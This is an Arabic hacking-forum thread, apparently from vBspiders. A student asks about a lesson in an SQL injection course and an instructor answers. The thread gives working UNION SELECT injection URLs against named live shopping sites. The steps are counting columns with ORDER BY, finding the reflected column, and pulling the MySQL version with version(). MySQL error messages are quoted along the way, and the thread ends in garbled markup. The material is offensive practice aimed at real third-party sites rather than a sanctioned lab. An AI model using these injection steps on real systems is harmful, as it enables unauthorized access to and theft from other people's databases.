استفسار الدرس الرابع.

يعطيك العافيه خالد.


معليش تعبناك.


خل المواقع الي فوق كلها.




ونشوف الموقع هذا.


http://www.sharghishop.net/zcat.php?id=1


عرفنا ان عدد اللاعمده خمسه بالامر order+by

ولاكن اذا حطينا الجمله هذي


http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5--




وحطينا عدد الاعمده الـ5



يعطيك رساله خطا ولا يبين لك الاعمده المصابه.


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select 1,2,3,4,5--' at line 1


ولايهمك ياغالي حاضرين

ابي ترجع الدورة الموجود مرة مريتن وثلاث بيك تخفظها من اسمك عشان تفهم حلو تسهل عليك

واناشرح لك فوق لو كانت مركز
طيب معلينا

http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5

تقول الموقع هذا عرفنا عدد الاعمدة حلو هو 5 على طول نستخدم الامر
UNION SELECT
لي ظاهر العمود المصاب
هذا الرابط الاول
http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5
عندك خطا هنا في الحقن (...ct) مدري من وين جبتها هذا او ل مره اشوفه اذكان له فايدة انا لاعلم فيها
ركز

ابيك تضيف UNION SELECT + او مسافه بعد رقم واحد ولاتنسى علامة - بعد علامة يسوي بعدها تضيف 1,2,3,4,5 في نهايه الحقن علامة -- اوكي وصلتك الفكره
يصبح الرابط

كود PHP:

http://www.sharghishop.net/zcat.php?id=-1 UNION SELECT 1,2,3,4,5-- 


امممم الرساله لي تطلع لك
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
يقولك خطا في الموقع sql
حلو

انت هنا 100%100

كود PHP:

http://www.cdvdcenter.com/zcat.php?id=-1+union+select+1,2,3,4,5-- 


يطلع المسج
The used SELECT statements have a different number of columns

انت معليك من المسج انت عليك تبحث عن العمود المصاب
تركز في الصفحة 100%تبحث تشوف ممكن المبرمج مخفي العمود
مثل
الان تفتح معاك الصفحة واناشرح لك فوق
مافي اي مشكلة بس تروح لي نصف الصفحة
كليك يمين عرض معلومات الصفحة او خصائص الصفحة تطلع نافذة تلاحظ فوق
مكتوب 3 :: Sharghishop.com :: يعني رقم3 هو العمودالمصاب لي نكمل عليه الحقن
نفس لي في الصورة


للتاكيد
استخرح اصدار القاعدة بدل في رقم 3
version()
هذا الرابط

كود PHP:

http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,
version(),4,5-- 


مافي اي مشكلة بس تروح لي نصف الصفحة
كليك يمين عرض معلومات الصفحة او خصائص الصفحة تطلع نافذة تلاحظ فوق
تغير صح طلع اصدار القاعدة

المصدر: :: vBspiders Professional Network ::

---

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC